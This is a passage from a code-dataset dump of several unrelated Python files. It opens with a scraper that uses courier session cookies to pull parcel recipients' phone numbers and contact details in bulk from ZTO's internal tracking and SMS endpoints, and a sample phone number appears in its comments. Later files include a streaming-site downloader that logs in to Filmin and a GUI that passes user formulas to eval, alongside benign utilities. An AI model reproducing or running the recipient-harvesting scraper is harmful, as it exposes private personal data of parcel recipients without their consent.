workbook.save(success_file)\n\n erro_file = os.path.join(diretory, '%s-erro.xlsx' % t)\n erro_workbook = openpyxl.Workbook()\n erro_sheet = erro_workbook.active\n for dd in self.data_erro:\n erro_sheet.append(dd)\n erro_workbook.save(erro_file)\n messagebox.showinfo('导出成功', '成功:%s\\n失败:%s' % (success_file, erro_file))\n except Exception as e:\n messagebox.showerror('BUG', '导出文件出现BUG:%s' % e)\n\n # 程序核心, 获取指定单号的联系人\n def get_info(self, zto_session, session, dh):\n headers = {\n 'X-Canvas-Fingerprint': 'a5830a699863251ddd8fb1c4af8e336v',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36'\n }\n cookies = {\n 'com.zto.sessionid': zto_session,\n 'SESSION': session\n }\n try:\n response = requests.get(\n url='https://sso.zto.com/security-services/billtrack/billinfo-query-preauth?bill_id=%s&type=A014' % dh,\n headers=headers, cookies=cookies, timeout=10)\n time.sleep(0.1)\n print(response.text)\n # {\"error\":\"no_perm_query:not_scan_node\",\"error_description\":\"运单不属于贵网点\",\"message\":\"该运单未在贵网点进行到件、发件、中转扫描或不是发放给贵网点使用的,不能进行「订单信息」查询操作。\\n如您是客服中心或服务网点用户,请向您的主管确认您所在的网点具有此运单流经路由网点的查询权限。\"}\n # {\"ticket\":\"4He3WNFTEeiX3QBQVoRltw\"}\n # {\"error\":\"you_need_login_first\",\"error_description\":\"需要登录\",\"message\":\"您需要登录才可以继续此操作。\"}\n data = json.loads(response.text)\n if data.get('error', None):\n info = data.get('error_description')\n self.data_erro.append([dh, info])\n self.info.insert('', 0, values=(dh, info))\n return dh, info\n headers_2 = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36',\n '_type': 'A014',\n '_token': data.get('ticket', '')\n }\n try:\n response = requests.get(url='https://newbill.zt-express.com/order-query/get?billCode=%s' % dh,\n headers=headers_2, cookies=cookies, timeout=10)\n time.sleep(0.1)\n\n print(dh, response.text)\n except TooManyRedirects as e:\n self.data_erro.append([dh, 'SESSION失效'])\n self.info.insert('', 0, values=(dh, 'SESSION失效'))\n return dh, 'SESSION失效'\n data2 = json.loads(response.text)\n if data2['status']:\n if data2.get('result', None):\n ii = data2['result'][0]['receiveInfo']\n if ii == \"R11:没有获取到收件人信息\":\n self.data_erro.append([dh, ii])\n self.info.insert('', 0, values=(dh, ii))\n else:\n self.info.insert('', 0, values=(dh, ii))\n self.data_info.append([dh, ii])\n return dh, ii\n else:\n self.data_erro.append([dh, '暂无数据'])\n self.info.insert('', 0, values=(dh, '暂无数据'))\n return dh, '暂无数据'\n else:\n self.data_erro.append([dh, response.text])\n self.info.insert('', 0, values=(dh, response.text))\n return dh, data2\n except Exception as e:\n info = '查询接口获取单号:%s出错:%s\\n' % e\n self.data_erro.append([dh, info])\n return dh, str(e)\n\n # 短信接口获取联系方式\n def get_info_msg(self, zto_session, session, dh):\n try:\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36'\n }\n data = {\"billCode\": dh}\n cookies = {\n 'com.zto.sessionid': zto_session,\n 'SESSION': session\n }\n try:\n time.sleep(0.1)\n response = requests.post(url='https://sms.zto.com/mobile/billcode', json=data, cookies=cookies, timeout=10, headers=headers)\n except TooManyRedirects as e:\n self.data_erro.append([dh, 'SESSION失效'])\n self.info.insert('', 0, values=(dh, 'SESSION失效'))\n return dh, 'SESSION失效'\n info = json.loads(response.text)\n print(dh, info)\n # {\"resultData\":null,\"requestStatus\":false,\"StatusMessage\":\"无法正确获取手机号\"}\n # {\"resultData\":{\"RecMobile\":\"13916437644\",\"RecName\":\"\"},\"requestStatus\":true,\"StatusMessage\":\"成功获取\"}\n if info.get('requestStatus'):\n ii = info['resultData']['RecMobile']\n self.data_info.append([dh, ii])\n self.info.insert('', 0, values=(dh, ii))\n return dh, ii\n else:\n self.data_erro.append([dh, '无法正确获取手机号'])\n self.info.insert('', 0, values=(dh, '无法正确获取手机号'))\n return dh, '无法正确获取手机号'\n except Exception as e:\n info = '短信接口获取单号:%s时候出错%s\\n' % (dh, e)\n self.data_erro.append([dh, info])\n return dh, str(e)\n\n\nif __name__ == '__main__':\n ZTO()\n","sub_path":"a中天系统爬虫/main(异步高并发).py","file_name":"main(异步高并发).py","file_ext":"py","file_size_in_byte":13677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189617021","text":"# coding: utf-8\n\nfrom collections import OrderedDict\nfrom django.template.loader import get_template\nimport os\n\nfrom git import *\nfrom zds.utils import slugify\nfrom django.template import Context\n\n# Export-to-dict functions\ndef export_chapter(chapter, export_all=True):\n from zds.tutorial.models import Extract\n '''\n Export a chapter to a dict\n '''\n dct = OrderedDict()\n if export_all:\n dct['pk'] = chapter.pk\n dct['title'] = chapter.title\n dct['introduction'] = chapter.introduction\n dct['conclusion'] = chapter.conclusion\n dct['extracts'] = []\n\n extracts = Extract.objects.filter(chapter=chapter)\\\n .order_by('position_in_chapter')\n\n for extract in extracts:\n extract_dct = OrderedDict()\n extract_dct['pk'] = extract.pk\n extract_dct['title'] = extract.title\n extract_dct['text'] = extract.text\n dct['extracts'].append(extract_dct)\n\n return dct\n\n\ndef export_part(part):\n from zds.tutorial.models import Chapter\n '''\n Export a part to a dict\n '''\n dct = OrderedDict()\n dct['pk'] = part.pk\n dct['title'] = part.title\n dct['introduction'] = part.introduction\n dct['conclusion'] = part.conclusion\n dct['chapters'] = []\n\n chapters = Chapter.objects\\\n .filter(part=part)\\\n .order_by('position_in_part')\n for chapter in chapters:\n dct['chapters'].append(export_chapter(chapter))\n\n return dct\n\n\ndef export_tutorial(tutorial):\n from zds.tutorial.models import Part, Chapter\n '''\n Export a tutorial to a dict\n '''\n dct = OrderedDict()\n dct['title'] = tutorial.title\n dct['description'] = tutorial.description\n dct['type'] = tutorial.type\n if tutorial.licence:\n dct['licence'] = tutorial.licence.code\n dct['introduction'] = tutorial.introduction\n dct['conclusion'] = tutorial.conclusion\n \n if tutorial.is_mini():\n # We export the chapter without its empty title if mini tutorial\n try :\n chapter = Chapter.objects.get(tutorial__pk=tutorial.pk)\n dct['chapter'] = export_chapter(chapter, export_all=False)\n except Chapter.DoesNotExist:\n chapter = None\n else:\n dct['parts'] = []\n parts = Part.objects\\\n .filter(tutorial__pk=tutorial.pk)\\\n .order_by('position_in_tutorial')\n for part in parts:\n dct['parts'].append(export_part(part))\n\n return dct\n\ndef get_blob(tree, chemin):\n for bl in tree.blobs:\n if bl.path==chemin:\n data = bl.data_stream.read()\n return data.decode('utf-8')\n if len(tree.trees) > 0:\n for tr in tree.trees:\n result = get_blob(tr, chemin)\n if result != None:\n return result\n return None\n else:\n return None\n\ndef export_tutorial_to_md(tutorial):\n # Two variables to handle two distinct cases (large/small tutorial)\n chapter = None\n parts = None\n tuto = OrderedDict()\n \n i = open(os.path.join(tutorial.get_prod_path(), tutorial.introduction), \"r\")\n i_contenu = i.read()\n i.close()\n tuto['intro'] = i_contenu\n\n c = open(os.path.join(tutorial.get_prod_path(), tutorial.conclusion), \"r\")\n c_contenu = c.read()\n c.close()\n tuto['conclu'] = c_contenu\n \n tuto['image'] = tutorial.image\n tuto['title'] = tutorial.title\n tuto['is_mini'] = tutorial.is_mini()\n tuto['authors'] = tutorial.authors\n tuto['subcategory'] = tutorial.subcategory\n tuto['pubdate'] = tutorial.pubdate\n tuto['pk'] = tutorial.pk\n tuto['slug'] = tutorial.slug\n \n #find the good manifest file\n mandata = tutorial.load_json(online=True)\n \n # If it's a small tutorial, fetch its chapter\n if tutorial.type == 'MINI':\n if 'chapter' in mandata:\n chapter = mandata['chapter']\n chapter['path'] = tutorial.get_prod_path()\n chapter['type'] = 'MINI'\n intro = open(os.path.join(tutorial.get_prod_path(), mandata['introduction']), \"r\")\n chapter['intro'] = intro.read()\n intro.close()\n conclu = open(os.path.join(tutorial.get_prod_path(), mandata['conclusion']), \"r\")\n chapter['conclu'] = conclu.read()\n conclu.close()\n cpt=1\n for ext in chapter['extracts'] :\n ext['position_in_chapter'] = cpt\n ext['path'] = tutorial.get_prod_path()\n text = open(os.path.join(tutorial.get_prod_path(), ext['text']), \"r\")\n ext['txt'] = text.read()\n text.close()\n cpt+=1\n else:\n chapter = None\n else:\n parts = mandata['parts']\n cpt_p=1\n for part in parts :\n part['tutorial'] = tutorial\n part['path'] = tutorial.get_path()\n part['slug'] = slugify(part['title'])\n part['position_in_tutorial'] = cpt_p\n intro = open(os.path.join(tutorial.get_prod_path(), part['introduction']), \"r\")\n part['intro'] = intro.read()\n intro.close()\n conclu = open(os.path.join(tutorial.get_prod_path(), part['conclusion']), \"r\")\n part['conclu'] = conclu.read()\n conclu.close()\n\n cpt_c=1\n for chapter in part['chapters'] :\n chapter['part'] = part\n chapter['path'] = tutorial.get_path()\n chapter['slug'] = slugify(chapter['title'])\n chapter['type'] = 'BIG'\n chapter['position_in_part'] = cpt_c\n chapter['position_in_tutorial'] = cpt_c * cpt_p\n intro = open(os.path.join(tutorial.get_prod_path(), chapter['introduction']), \"r\")\n chapter['intro'] = intro.read()\n intro.close()\n conclu = open(os.path.join(tutorial.get_prod_path(), chapter['conclusion']), \"r\")\n chapter['conclu'] = conclu.read()\n cpt_e=1\n for ext in chapter['extracts'] :\n ext['chapter'] = chapter\n ext['position_in_chapter'] = cpt_e\n ext['path'] = tutorial.get_path()\n text = open(os.path.join(tutorial.get_prod_path(), ext['text']), \"r\")\n ext['txt'] = text.read()\n text.close()\n cpt_e+=1\n cpt_c+=1\n \n cpt_p+=1\n \n contenu_html = get_template('tutorial/export.md').render(\n Context({\n 'chapter': chapter,\n 'parts': parts,\n 'tutorial': tuto,\n })\n )\n \n return contenu_html\n","sub_path":"zds/utils/tutorials.py","file_name":"tutorials.py","file_ext":"py","file_size_in_byte":6788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"477494220","text":"from django.contrib import admin\nfrom .models import ConvMon, TetosPrev, CarenciasLei91\n\n\nclass AdminConvMon(admin.ModelAdmin):\n list_display = ['convMonId', 'nomeMoeda', ]\n list_display_links = ['convMonId', 'nomeMoeda', ]\n search_fields = ['dataInicial', 'dataFinal']\n\nadmin.site.register(ConvMon, AdminConvMon)\n\n\nclass AdminTetosPrev(admin.ModelAdmin):\n list_display = ['tetosPrevId', 'dataValidade', 'valor']\n list_display_links = ['tetosPrevId', 'dataValidade', 'valor']\n search_fields = ['dataValidade', 'valor']\n list_per_page = 20\n\nadmin.site.register(TetosPrev, AdminTetosPrev)\n\n\nclass AdminCarenciasLei91(admin.ModelAdmin):\n list_display = ['carenciaId', 'dataImplemento', 'tempoContribuicao']\n list_display_links = ['carenciaId', 'dataImplemento', 'tempoContribuicao']\n search_fields = ['dataImplemento', 'tempoContribuicao']\n list_per_page = 20\n\nadmin.site.register(CarenciasLei91, AdminCarenciasLei91)","sub_path":"apps/ferramentas/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491722078","text":"import os\nimport shutil\n\n\"\"\"\nInitialisation du projet \n\ncommande\n_______\n * py pyui new_project nom_du_projet \n * python pyui new_project nom_du_projet\n\n pour genere la structure du projet \n\n\"\"\"\n\nstructureFile = \"\"\"\n\n \n bonjour\n \n\"\"\"\n\nstructure_Main_ = \"\"\"import os\nfrom pyui import *\n\n@override\ndef recover_path(): \n return os.path.dirname(__file__)\n\nif __name__ == \"__main__\":\n onCreate()\n setContent(layout.main_layout)\"\"\"\n\ndef create_project(args):\n # repertouir\n os.makedirs(args+\"/gen\")\n os.makedirs(args+\"/res/image\")\n os.makedirs(args+\"/res/layout\")\n\n # sous repertoir\n os.makedirs(args+\"/res/src/css\")\n os.makedirs(args+\"/res/src/js\")\n\n init_copy(os.path.join(os.path.normcase(os.path.dirname(__file__)),os.path.normcase('materialize')),args)\n\n # generate main_layout file xml\n with open(args+\"/res/layout/main_layout.xml\", 'a') as file:\n file.write(structureFile)\n file.close()\n\n\n # generate __main__ file python\n with open(args+\"/__main__.py\", 'a') as file:\n file.write(structure_Main_)\n file.close()\n\n return True\n\ndef init_copy(doc,args): \n\n for root, dirs, files in os.walk(doc): \n\n for file in files: \n if 'css' in file or 'min.css' in file or 'woff2' in file:\n shutil.copy(os.path.join(os.path.normcase(os.path.dirname(__file__)),os.path.normcase('materialize\\css\\\\'+ file)), os.path.normcase(args+\"/res/src/css/\"))\n \n elif 'js' in file or 'min.js' in file:\n shutil.copy(os.path.join(os.path.normcase(os.path.dirname(__file__)),os.path.normcase('materialize\\js\\\\'+ file)), os.path.normcase(args+\"/res/src/js/\"))","sub_path":"pyui/new_project.py","file_name":"new_project.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514809446","text":"import tensorflow as tf\n\ndef phase_shift_1dim(I, r):\n\n a, b, c = I.shape[1].value,I.shape[2].value,I.shape[3].value\n bsize = tf.shape(I)[0] # Handling Dimension(None) type for undefined batch dim\n X = tf.reshape(I, (bsize, a, b, r, r))\n X = tf.split(X, a, 1) # a, [bsize, b, r, r]\n X = tf.concat([tf.squeeze(x, axis=1) for x in X], 2) # bsize, b, a*r, r\n X = tf.split(X, b, 1) # b, [bsize, a*r, r]\n X = tf.concat([tf.squeeze(x, axis=1) for x in X], 2) # bsize, a*r, b*r\n return tf.reshape(X, (bsize, a * r, b * r, 1))\n","sub_path":"tk_utils.py","file_name":"tk_utils.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"197590042","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nimport re\nimport random\nimport urllib.parse\nimport pprint\nfrom bs4 import BeautifulSoup\n\nfrom .common import InfoExtractor\nfrom ..utils import (\n urlencode_postdata,\n url_or_none,\n str_or_none\n)\n\nclass FilminIE(InfoExtractor):\n\n IE_NAME = 'filmin'\n IE_DESC = 'filmin'\n _VALID_URL = r\"https?://(?:www\\.)?filmin.es\"\n _LOGIN_URL = \"https://www.filmin.es/entrar\"\n _AUTH_URL = \"https://www.filmin.es/login\"\n _SITE_URL = \"https://www.filmin.es\"\n _MEDIAMARKS_URL = \"https://bm.filmin.es/mediamarks\"\n _NETRC_MACHINE = 'filmin'\n _USER_AG = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0\"\n\n def _real_initialize(self):\n self._login()\n\n def _login(self):\n\n username, password = self._get_login_info()\n \n if username and password:\n init_page = self._download_webpage(\n self._LOGIN_URL,\n None,\n note=\"Downloading loging page\",\n errnote=\"Web site not available\",\n fatal=True,\n headers={\n \"User-Agent\" : self._USER_AG\n }\n \n\n )\n\n #print(init_page)\n hidden_inputs = self._hidden_inputs(init_page)\n #print(hidden_inputs)\n \n data = {\n \"username\": username,\n \"password\": password,\n \"redirect\": hidden_inputs['redirect'],\n \"_token\": hidden_inputs['_token']\n }\n\n #print(data)\n \n login_result = self._download_json(\n self._AUTH_URL,\n None,\n note=\"Requesting login\",\n errnote=\"Unable to login\",\n data=urlencode_postdata(data),\n headers={\n \"Referer\": self._LOGIN_URL,\n \"Origin\": self._SITE_URL,\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"User-Agent\" : self._USER_AG\n },\n fatal=True\n )['status']\n\n #print(login_result)\n \n if (login_result == 'fail'):\n \n raise ExtractorError(\"Wrong username and/or password\")\n\n else:\n raise ExtractorError(\"Missing login inputs\")\n\n self.report_login()\n\n \n\n\n def _real_extract(self, url):\n \n content = self._download_webpage(\n url,\n None,\n note=\"Downloading video page\",\n errnote=\"Unable to download video page\",\n fatal=True,\n headers={\n \"Referer\": self._SITE_URL,\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\" : self._USER_AG\n },\n )\n\n #print(content)\n\n hidden_inputs = self._hidden_inputs(content)\n #print(hidden_inputs)\n\n res = BeautifulSoup(content, \"html5lib\")\n \n #print(res)\n # tag = res.find(\"a\", {\"class\": \"premium view main-action-btn tmp-fx-fade-player\"})\n # print(tag)\n # video_url = tag[\"href\"]\n\n # tag = res.find(\"button\", {\"class\": \"btn-regular js-like-btn\"})\n # video_type = tag[\"data-type\"]\n # media_id = tag[\"data-id\"]\n\n tag = res.find(\"a\", {\"class\" : \"Button Button--block Button--xl Button--accent\"})\n #print(tag)\n video_url = tag['href']\n\n content = self._download_webpage(\n video_url,\n None,\n note=\"Downloading video page\",\n errnote=\"Unable to download video page\",\n fatal=True,\n headers={\n \"Referer\": url,\n \"User-Agent\" : self._USER_AG\n },\n )\n\n #print(content)\n\n media_id = video_url.split('&mediaId=')[1]\n video_type = video_url.split('&mediaId=')[0].split('type=')[1]\n\n #print(media_id)\n #print(video_type) \n\n video_json_url = self._SITE_URL + \"/player/data/\" + video_type + \"/\" + media_id\n \n info_video = self._download_json(\n video_json_url,\n None,\n note=\"Requesting JSON\",\n errnote=\"Unable to get JSON\",\n headers={\n \"Referer\": video_url,\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"User-Agent\" : self._USER_AG\n },\n fatal=True\n )\n\n #versión VOS\n title = info_video['media']['title']\n for version in info_video['media']['versions']:\n if version['version_type']['lang'] == \"VOS\":\n version_id = version['id']\n \n \n version_json_url = video_json_url + \"/\" + str(version_id)\n #print(version_json_url)\n\n info_version = self._download_json(\n version_json_url,\n None,\n note=\"Requesting JSON version\",\n errnote=\"Unable to get JSON version\",\n headers={\n \"Referer\": video_url,\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"User-Agent\" : self._USER_AG\n },\n fatal=True\n )\n \n #print.pprint(info_version)\n\n cookies = self._get_cookies(url)\n session_id = cookies['laravel_session'].value\n #print(session_id)\n\n mediamark = {\n \"token\": info_video['mediamark']['token'],\n \"position\": \"0\",\n \"duration\": info_version['duration'],\n \"media_id\": media_id,\n \"version_id\": version_id,\n \"media_viewing_id\": info_version['mediaViewingId'],\n \"subtitle_id\": \"off\",\n \"next_media_at\": \"\",\n \"session_id\": session_id,\n \"session_connections\": \"2\"\n }\n\n\n \n\n \n info_mediamark = self._download_json(\n self._MEDIAMARKS_URL,\n None,\n data=urlencode_postdata(mediamark),\n headers={\n \"Referer\": video_url,\n \"User-Agent\" : self._USER_AG\n },\n fatal=True\n )\n\n #print(info_mediamark)\n\n url_list = []\n for source in info_version['sources']:\n url_list.append(source['file'])\n\n print(url_list)\n\n formats_m3u8 = self._extract_m3u8_formats(\n url_list[0], None, m3u8_id=\"hls\", fatal=False\n )\n\n\n content = self._download_webpage(\n url_list[1],\n None,\n note=\"Downloading video page\",\n errnote=\"Unable to download video page\",\n fatal=True,\n headers={\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n },\n )\n\n print(content)\n\n formats_dash = self._extract_mpd_formats(\n url_list[2], None, mpd_id=\"2011\", fatal=False\n )\n\n print(formats_m3u8)\n\n\n self._sort_formats(formats_m3u8)\n #self._sort_formats(formats_dash)\n\n return {\n \"id\": media_id,\n \"title\": title,\n #\"formats\": formats_m3u8 + formats_dash\n \"formats\" : formats_m3u8\n }","sub_path":"youtube_dl/extractor/filmin.py","file_name":"filmin.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"157855924","text":"from flask import abort, make_response\n\nfrom config import db\nfrom models import Person, people_schema, person_schema\n\n\ndef read_all():\n people = Person.query.all()\n return people_schema.dump(people)\n\n\ndef create(person):\n new_person = person_schema.load(person, session=db.session)\n db.session.add(new_person)\n db.session.commit()\n return person_schema.dump(new_person), 201\n\n\ndef read_one(person_id):\n person = Person.query.get(person_id)\n\n if person is not None:\n return person_schema.dump(person)\n else:\n abort(404, f\"Person with ID {person_id} not found\")\n\n\ndef update(person_id, person):\n existing_person = Person.query.get(person_id)\n\n if existing_person:\n update_person = person_schema.load(person, session=db.session)\n existing_person.fname = update_person.fname\n existing_person.lname = update_person.lname\n db.session.merge(existing_person)\n db.session.commit()\n return person_schema.dump(existing_person), 201\n else:\n abort(404, f\"Person with ID {person_id} not found\")\n\n\ndef delete(person_id):\n existing_person = Person.query.get(person_id)\n\n if existing_person:\n db.session.delete(existing_person)\n db.session.commit()\n return make_response(f\"{person_id} successfully deleted\", 200)\n else:\n abort(404, f\"Person with ID {person_id} not found\")\n","sub_path":"build-a-rest-api-frontend/source_code_step_2/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352931395","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 6 09:25:55 2020\r\n\"\"\"\r\n\r\n\"\"\"\r\nTODO (anyone):\r\n- replace Entry with Text, and check compatibility with load/save\r\n- prevent formulas with potentially harmful commands (\"exec\", \"import\", ...)\r\n- add parameter t, and option to record video with t going from 0 to 100\r\n- automatically replace ** with pow during evaluation\r\n- add rotation slider that replaces i with t*i+(1-t)*j, etc\r\n- protect against problematic functions (div by 0, ...)\r\n- improve formula buttons, make the writing \"|\" change with button call\r\n- improve saving window\r\n * check file name doesn't already exist before saving (image / parameters)\r\n- improve looks (if possible without using ttk)\r\n- put the sliders/buttons in a loop to make the code more readable\r\n- add label that shows maximum/minimum reached by current formula on frame\r\n- if the input function is constant, it should still be shown\r\n- make color mode menus of a fixed size (so that the window doesn't change size)\r\n- replace alpha and beta with p1 and p2 upon saving parameters\r\n- add \"open & multiply\" button to easily combine formulas\r\nTODO (Corentin):\r\n- make image independant of sizex sizey\r\n- do something clever from hole1 and hole2\r\n- normalization option\r\n\"\"\"\r\n\r\n# list of available functions:\r\n# https://numpy.org/doc/stable/reference/ufuncs.html#available-ufuncs\r\n# sin cos exp fabs bitwise_or/and/xor rint\r\n\r\nimport tkinter as tk\r\nfrom tkinter import simpledialog, messagebox, filedialog, scrolledtext, END\r\nfrom PIL import Image, ImageTk\r\nimport numpy as np #needed for compatibility with formulas with np.\r\nfrom numpy import * #needed for simple formula interpretation\r\nfrom random import randrange,random\r\nfrom scipy.ndimage.filters import gaussian_filter\r\nimport colorsys\r\nimport matplotlib\r\nfrom time import sleep\r\n\r\n\r\nmainColor = \"#ccebe4\"\r\nsecondaryColor = \"#daede9\"\r\nhole1 = (0.5,0.5)\r\nhole2 = (-0.1,-0.2)\r\n\r\n#user is the module used to load user definition\r\nfrom importlib import reload \r\nimport userdef as user\r\n\r\ndef func(xx,yy, offx, offy, f=\"\"):\r\n i = xx-offx\r\n j = yy-offy\r\n\r\n #some constants, needed for compatibility with old formulas:\r\n scale = 256*256*256/1000\r\n dh1 = i-hole1[0]\r\n dh1b = j-hole1[1]\r\n dh2 = i-hole2[0]\r\n dh2b = j-hole2[1]\r\n\r\n n,m = xx.shape\r\n nb,mb = yy.shape\r\n\r\n return eval(f)\r\n\r\n\r\nclass GUI():\r\n\r\n def __init__(self):\r\n self.root = tk.Tk()\r\n self.root.title('ColorExplorer')\r\n self.root.grid()\r\n self.root.configure(background=mainColor)\r\n self.root.sizex = 960 #Size of image on tk window\r\n self.root.sizey = 540\r\n\r\n ## -- SLIDERFRAME -- ##\r\n\r\n self.sliderFrame = tk.Frame(self.root, bg= secondaryColor, pady=10)\r\n\r\n self.sliders = {}\r\n\r\n self.sl3 = tk.Scale(self.sliderFrame,from_=100, to=-100, orient=tk.VERTICAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl3.set(0)\r\n self.sl3.grid(row=1,column=0)\r\n tk.Label(self.sliderFrame, text=\"off_x\", bg= secondaryColor).grid(row=0,column=0,sticky=\"E\")\r\n\r\n self.sl4 = tk.Scale(self.sliderFrame,from_=100, to=-100, orient=tk.VERTICAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl4.set(0)\r\n self.sl4.grid(row=1,column=1)\r\n tk.Label(self.sliderFrame, text=\"off_y\", bg= secondaryColor).grid(row=0,column=1,sticky=\"E\")\r\n\r\n\r\n self.sl5 = tk.Scale(self.sliderFrame,from_=500, to=0, orient=tk.VERTICAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl5.set(0)\r\n self.sl5.grid(row=1,column=2)\r\n tk.Label(self.sliderFrame, text=\"σ\",padx=5, bg= secondaryColor).grid(row=0,column=2,sticky=\"E\")\r\n\r\n self.sl6 = tk.Scale(self.sliderFrame,from_=100, to=1, orient=tk.VERTICAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl6.set(30)\r\n self.sl6.grid(row=1,column=3)\r\n tk.Label(self.sliderFrame, text=\"res\", bg= secondaryColor).grid(row=0,column=3,sticky=\"E\")\r\n\r\n self.addSliderFrame = tk.Frame(self.sliderFrame, bg = secondaryColor)\r\n self.newSliderName = tk.StringVar(value=\"my_param\");\r\n self.newSliderEntry = tk.Entry(self.addSliderFrame, textvariable = self.newSliderName)\r\n self.newSliderEntry.pack(side=tk.LEFT)\r\n self.newSliderButton = tk.Button(self.addSliderFrame, text=\"+\", command=self.newSlider)\r\n self.newSliderButton.pack(side=tk.RIGHT)\r\n self.addSliderFrame.grid(row = 2, column = 0, columnspan = 4)\r\n\r\n self.userSliderFrame = tk.Frame(self.sliderFrame, bg = secondaryColor)\r\n self.userSliderFrame.grid(row = 3, column = 0, columnspan = 4)\r\n\r\n self.sliderFrame.grid(row=1,column=1)\r\n\r\n\r\n ## -- CHECKFRAME -- ##\r\n\r\n self.checkFrame = tk.Frame(self.root, bg=secondaryColor)\r\n\r\n self.randomModulation = tk.IntVar(value=0)\r\n self.check1 = tk.Checkbutton(self.checkFrame, text=\"Random Modulation\",var=self.randomModulation, bg=secondaryColor, command=self.genImg)\r\n self.check1.grid(row=0,column=1,columnspan=3)\r\n\r\n self.colorMode = tk.StringVar(value=\"RGB\")\r\n self.rad1 = tk.Radiobutton(self.checkFrame, variable=self.colorMode, text=\"RGB\", value=\"RGB\", bg=secondaryColor, command=self.changeColorMode)\r\n self.rad1.grid(row=1,column=1,sticky=\"W\")\r\n\r\n self.rad2 = tk.Radiobutton(self.checkFrame, variable=self.colorMode, text=\"BW\", value=\"BW\", bg=secondaryColor, command=self.changeColorMode)\r\n self.rad2.grid(row=1,column=2,sticky=\"W\")\r\n\r\n self.rad3 = tk.Radiobutton(self.checkFrame, variable=self.colorMode, text=\"HSV\", value=\"HSV\", bg=secondaryColor, command=self.changeColorMode)\r\n self.rad3.grid(row=1,column=3,sticky=\"W\")\r\n\r\n self.RGBModeMenu = tk.Frame(self.checkFrame, bg=secondaryColor)\r\n self.RGBModeMenu.grid_columnconfigure(0, weight=1, uniform=\"RGB_uniform\")\r\n self.RGBModeMenu.grid_columnconfigure(1, weight=1, uniform=\"RGB_uniform\")\r\n self.sl_rgb_scale = tk.Scale(self.RGBModeMenu, from_=0, to=256, orient=tk.HORIZONTAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl_rgb_scale.set(256)\r\n self.sl_rgb_scale.grid(row=1, column=0, columnspan=2)\r\n self.RGBModeMenu.grid(row=2, column=1, columnspan=3) #RGB menu used as default\r\n\r\n self.HSVModeMenu = tk.Frame(self.checkFrame, bg=secondaryColor)\r\n self.HSVModeMenu.grid_columnconfigure(0, weight=1, uniform=\"HSV_uniform\")\r\n self.HSVModeMenu.grid_columnconfigure(1, weight=1, uniform=\"HSV_uniform\")\r\n self.sl_s_value = tk.Scale(self.HSVModeMenu, from_=0, to=255, orient=tk.HORIZONTAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl_s_value.set(102)\r\n self.sl_s_value.grid(row=1, column=0, columnspan=2)\r\n self.sl_v_value = tk.Scale(self.HSVModeMenu, from_=0, to=255, orient=tk.HORIZONTAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl_v_value.set(230)\r\n self.sl_v_value.grid(row=2, column=0, columnspan=2)\r\n\r\n self.BWModeMenu = tk.Frame(self.checkFrame, bg=secondaryColor)\r\n self.BWModeMenu.grid_columnconfigure(0, weight=1, uniform=\"BW_uniform\")\r\n self.BWModeMenu.grid_columnconfigure(1, weight=1, uniform=\"BW_uniform\")\r\n self.sl_bw_scale = tk.Scale(self.BWModeMenu, from_=0, to=200, orient=tk.HORIZONTAL, command=self.genImg, length=200, bg= secondaryColor)\r\n self.sl_bw_scale.set(100)\r\n self.sl_bw_scale.grid(row=1, column=0, columnspan=2)\r\n\r\n #testLabel = tk.Label(HSVModeMenu, text=\"Test\", bg=secondaryColor)\r\n #testLabel.grid(row=0, column=0)\r\n #testEntry = tk.Entry(HSVModeMenu) #, textvariable=self.formula, width=10);\r\n #testEntry.grid(row=0, column=1)\r\n\r\n self.checkFrame.grid(row=2, column=1, padx=20, pady=20)\r\n\r\n self.play = tk.Button(self.root, text='Play', bg=secondaryColor, command=self.play)\r\n self.play.grid(row=3,column=1)\r\n\r\n\r\n ## -- FORMULAFRAME -- ##\r\n\r\n\r\n self.formulaFrame = tk.Frame(self.root, bg=mainColor)\r\n self.activeFunction = f\"(i**2+j**2)\" #default formula here\r\n self.formula = tk.StringVar(value=self.activeFunction)\r\n\r\n display_help_buttons = False\r\n if display_help_buttons:\r\n self.bfi = tk.Button(self.formulaFrame, text='i', bg=secondaryColor, command= 